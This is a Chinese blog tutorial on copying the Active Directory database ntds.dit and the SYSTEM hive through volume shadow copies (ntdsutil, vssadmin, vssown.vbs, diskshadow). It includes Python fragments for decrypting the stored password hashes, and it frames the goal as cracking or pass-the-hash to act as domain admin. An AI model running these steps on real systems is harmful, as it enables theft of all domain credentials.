利用卷影拷貝服務提取ntds.dit

  • 2021 年 4 月 19 日
  • 筆記

0x01 前言

 

通常情況下,即使擁有管理員許可權,也無法讀取域控制器中的C:\Windows\NTDS\ntds.dit文件。那麼什麼是ntds.dit呢?

 

ntds.dit文件是一個資料庫,用於存儲Active Directory數據,包括有關用戶對象,組和組成員身份的資訊。它包括域中所有用戶的密碼哈希。通過提取這些哈希值,可以使用諸如Mimikatz之類的工具執行哈希傳遞攻擊,或使用諸如Hashcat之類的工具來破解這些密碼。這些密碼的提取和破解可以離線執行,因此將無法檢測到。一旦攻擊者提取了這些散列,它們便可以充當域上的任何用戶,包括域管理員。

 

在活動目錄中,所有的數據都保存在ntds.dit中。ntds.dit是一個二進位文件,存儲位置為域控制器的%SystemRoot%\ntds\ntds.dit。ntds.dit中包含用戶名、散列值、組、GPP、OU等與活動目錄相關的資訊。它和SAM文件一樣,是被作業系統鎖定的。在一般情況下系統運維人員會利用卷影拷貝服務(volume Shadow Copy Server,VSS)實現ntds.dit的拷貝,VSS本質上屬快照(Snamshot)技術的一種,主要用於備份和恢復(即使目標文件被系統鎖定)。

 

 

一般域環境內最重要的三個文件如下:

 

ntds.dit文件位置: C:\Windows\NTDS\NTDS.dit
system文件位置:C:\Windows\System32\config\SYSTEM
sam文件位置:C:\Windows\System32\config\SAM

 

0x02 ntds.dit深入剖析

 

Active Directory域資料庫存儲在ntds.dit文件中(默認情況下存儲在c:\ Windows \ NTDS中,但通常存儲在其他邏輯驅動器上)。AD資料庫是一個Jet資料庫引擎,它使用可擴展存儲引擎(ESE)提供數據存儲和索引服務。通過ESE級別索引,可以快速定位對象屬性。ESE確保資料庫符合ACID(原子,一致,隔離和持久)–事務中的所有操作都已完成或不執行。AD ESE資料庫非常快速且可靠。

 

注意:Microsoft還將Jet資料庫用於Exchange郵箱資料庫。

 

Active Directory通過基於LRU-K演算法的快取將部分ntds.dit文件載入到(LSASS保護的)記憶體中,以確保最常訪問的數據在記憶體中,以提高性能,從而第二次提高讀取性能。資料庫更改是在記憶體中執行的,然後寫入事務日誌,然後稍後對資料庫文件進行延遲提交。檢查點文件(edb.chk)會跟蹤到此刻寫入的事務。

 

「版本存儲」是從記憶體中讀取數據時對象實例的副本,這使得無需更改讀取數據即可執行更新(ESE事務視圖)。讀取操作完成後,該版本存儲實例將結束。

 

儘管Active Directory由三個目錄分區(域,配置和架構)組成,但這只是資料庫數據的抽象視圖。ntds.dit文件由三個主要表組成:數據表,鏈接表和SD表。

 

數據表

 

數據表包含Active Directory數據存儲中的所有資訊:用戶,組,特定於應用程式的數據,以及安裝後在Active Directory中存儲的任何其他數據。可以將數據表視為具有行(每個代表對象的實例,例如用戶)和列(每個代表模式中的屬性,例如GivenName)。)。對於模式中的每個屬性,表均包含一列,稱為欄位。欄位大小可以是固定的或可變的。固定大小的欄位包含整數或長整數作為數據類型。可變大小欄位通常包含字元串類型,例如Unicode字元串。資料庫僅分配可變大小欄位所需的空間:1個字元的Unicode字元串為16位,10個字元的Unicode字元串為160位,依此類推。

 

用於存儲對象的資料庫空間取決於為其設置值的屬性的數量和值的大小。例如,如果管理員創建了兩個用戶對象(User1和User2),僅在其上設置了最小屬性,然後向User2添加了10個字元的描述,則User2空間比User1空間大80個位元組(20個位元組)。 10個字元的位元組數,以及新生成的屬性上的元數據)。

 

資料庫記錄不能跨越資料庫頁面;因此,每個對象被限制為8 KB。但是,對象的某些屬性值不能完全計入此限制。長度可變的長值可以存儲在與對象記錄不同的頁面上,僅留下9位元組的引用。這樣,一個對象及其所有屬性值可以大於8 KB。

 

鏈接表

 

鏈接表包含代表鏈接屬性的數據,這些屬性包含引用Active Directory中其他對象的值。一個示例是用戶對象上的MemberOf屬性,其中包含引用用戶所屬組的值。鏈接表比數據表小得多。

 

SD表

 

SD表包含代表每個對象的繼承的安全描述符的數據。隨著Windows Server 2003或更高版本中SD表的引入,繼承的安全描述符不再必須在每個繼承安全描述符的對象上重複。取而代之的是,繼承的安全描述符存儲在SD表中,並鏈接到適當的對象。

 

Active Directory中使用的密碼哈希加密

 

請注意,在上一個列表中,有許多欄位被描述為已加密。這種加密的目的是提供針對離線數據提取的保護。

 

Microsoft為提供這種保護而引入的解決方案很複雜,由3層加密組成,其中2層使用RC4,第三層使用DES。

 

為了解密存儲在NTDS.DIT​​中的哈希,必須執行以下步驟:

 

1.使用啟動密鑰(RC4-第1層)解密PEK(密碼加密密鑰)
2.第一輪哈希解密(使用PEK和RC4-第2層)
3.第二輪哈希解密(DES-第3層)

 

密碼加密密鑰

PEK或密碼加密密鑰用於加密NTDS.DIT​​中存儲的數據。該密鑰在整個域中都是相同的,這意味著在所有域控制器上它都是相同的。PEK本身也以加密形式存儲在NTDS.DIT​​中。為了對其進行解密,將需要來自獲得NDTS.DIT​​文件的同一域控制器中的註冊表(SYSTEM配置單元)。這是因為PEK是使用BOOTKEY加密的,該BOOTKEY在所有域控制器(實際上在域中的所有電腦)上都是不同的。

 

為了解密PEK,必須從NTDS.DIT​​獲取ATTk590689欄位。如前所述,存儲在資料庫中的所有對象都將具有此欄位。為了確定需要哪一個,必須檢查該值是否為空。

 

該值的長度為76個位元組(存儲為二進位數據)。值的結構如下:

標頭8位元組

RC4的密鑰材料16位元組

加密的PEK 52位元組

 

解密後,解密後的PEK的值也可以分為2部分。人們將不得不跳過前36個位元組(因此實際PEK密鑰的長度為16個位元組)。

 

這是可用於在獲得啟動密鑰後將PEK密鑰解密的python演算法:

 

md5 = MD5.new()
md5.update(bootkey)
for i in range(1000):
md5.update(enc_pek [0:16])
rc4_key = md5.digest();
rc4 = ARC4.new(rc4_key)
pek = rc4.encrypt(enc_pek [16:])
return pek [36:]

 

可以看到解密中有一個MD5散列部分,包含1000輪迴合。這是為了使對密鑰的暴力攻擊更加耗時。

 

密碼哈希解密

現在,PEK已解密,下一個任務是解密存儲在用戶對象的ATTk589879(加密的LM哈希)和ATTk589914(加密的NT哈希)屬性中的哈希。

 

第一步是刪除RC4加密層。在此期間,將PEK密鑰和加密哈希的前16個位元組用作RC4密碼的密鑰材料。下面是NTDS.DIT​​資料庫中存儲的40位元組長的加密哈希值的結構。

標頭8位元組RC4的密鑰材料16位元組加密的哈希16位元組

 

刪除RC4加密層的演算法如下:

 

md5 = MD5.new()
md5.update(pek)
md5.update(enc_hash [0:16])
rc4_key = md5.digest();
rc4 = ARC4.new(rc4_key)
denc_hash = rc4.encrypt(enc_hash [16:])

 

最後一步是刪除DES加密層,該層實際上與在註冊表中存儲密碼散列的情況下使用的所謂「標準」 SYSKEY加密非常相似(有關演算法的詳細資訊,請參見此處– http:// moyix .blogspot.com / 2008/02 / syskey-andsam.html)。

 

下面是演算法的最後一部分:

 

(des_k1,des_k2)= sid_to_key(rid)
d1 = DES.new(des_k1,DES.MODE_ECB)
d2 = DES.new(des_k2,DES.MODE_ECB)
hash = d1.decrypt(denc_hash) [:8])+ d2.decrypt(denc_hash [8:])

 

注意,必須具有用戶的SID才能確定RID並計算用於DES的密鑰。

 

0x03 抓取ntds.dit

 

1.通過ntdsutil.exe提取ntds.dit

 

創建快照

 

ntdsutil snapshot "activate instance ntds" create quit quit

 

 

掛載快照

 

ntdsutil snapshot "mount {b425cef1-c73c-4be5-ad86-522c27a18180}" quit quit

 

 

 

複製ntds.dit

 

copy C:\$SNAP_202104180958_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit

 

 

可以看到在c盤下面已經把ntds.dit複製了出來

 

 

點進去看一下是完全一樣的

 

 

卸載快照

 

ntdsutil snapshot "unmount {b425cef1-c73c-4be5-ad86-522c27a18180}" quit quit

 

 

刪除快照

 

ntdsutil snapshot "delete {b425cef1-c73c-4be5-ad86-522c27a18180}" quit quit

 

 

2.利用vssadmin提取ntds.dit

 

創建C盤的卷影拷貝

 

vssadmin create shadow /for=c:

 

 

卷影副本 ID: {6d2ab801-10ca-4890-8b89-e8051ddf0286}
卷影副本卷名: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2

 

在創建的卷影拷貝中將ntds.dit複製出來

 

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\ntds.dit

 

 

此時在C盤目錄下發現ntds.dit已經被複制出來

 

 

刪除快照

 

vssadmin delete shadows /for=c: /quiet

 

 

3.利用vssown.vbs提取ntds.dit

 

vssown.vbs github鏈接://github.com/lanmaster53/ptscripts/blob/master/windows/vssown.vbs

 

首先查找一下ntds.dit的位置

 

reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters

 

 

啟動卷影拷貝服務

 

cscript //nologo vssown.vbs /start

 

 

創建一個C盤的卷影拷貝

 

cscript vssown.vbs /create c

 

 

列出當前卷影拷貝

 

cscript vssown.vbs /list

 

 

可以看到id為{F27E8849-8BFD-44E1-B6D7-C851198E971D},存儲位置為\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3

 

複製ntds.dit

 

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\NTDS\ntds.dit c:\ntds.dit

 

 

 

刪除卷影拷貝

 

cscript vssown.vbs /delete {F27E8849-8BFD-44E1-B6D7-C851198E971D}

 

 

4.使用diskshadow導出ndts.dit

 

可以使用diskshadow.exe來執行命令。

 

例如,將需要執行的命令「exec c:\windows\system\calc.exe」寫入c:\command.txt文件

 

echo exec c:\windows\system32\calc.exe > command.txt
type command.txt

 

使用diskshadow執行txt中的命令

 

diskshadow /s command.txt 

 

 

diskshadow也可以用來導出ntds.dit,將如下命令寫入一個文件中去執行

 

set context persistent nowriters 

add volume c: alias someAlias 

create 

expose %someAlias% z: 

exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\ntds.dit 

delete shadows all

list shadows all 

reset

exit

 

執行如下命令,注意這裡需要進入C:\Windows\System32目錄下執行,否則會報錯

 

diskshadow /s C:\command.txt

 

 

導出ntds.dit後,可以將system.hive轉儲。因為system.hive中存放著ntds.dit 的密鑰,所以沒有該密鑰,將無法查看ntds.dit中的資訊

 

reg save hklm\system c:\windows\temp\system.hive

 

0x03 後記

 

本文介紹了幾種導出ntds.dit的方法,導出ntds.dit的目的就是為了拿到hash,所以如何導出ntds.dit的散列值將在下篇文章中介紹

 

未完待續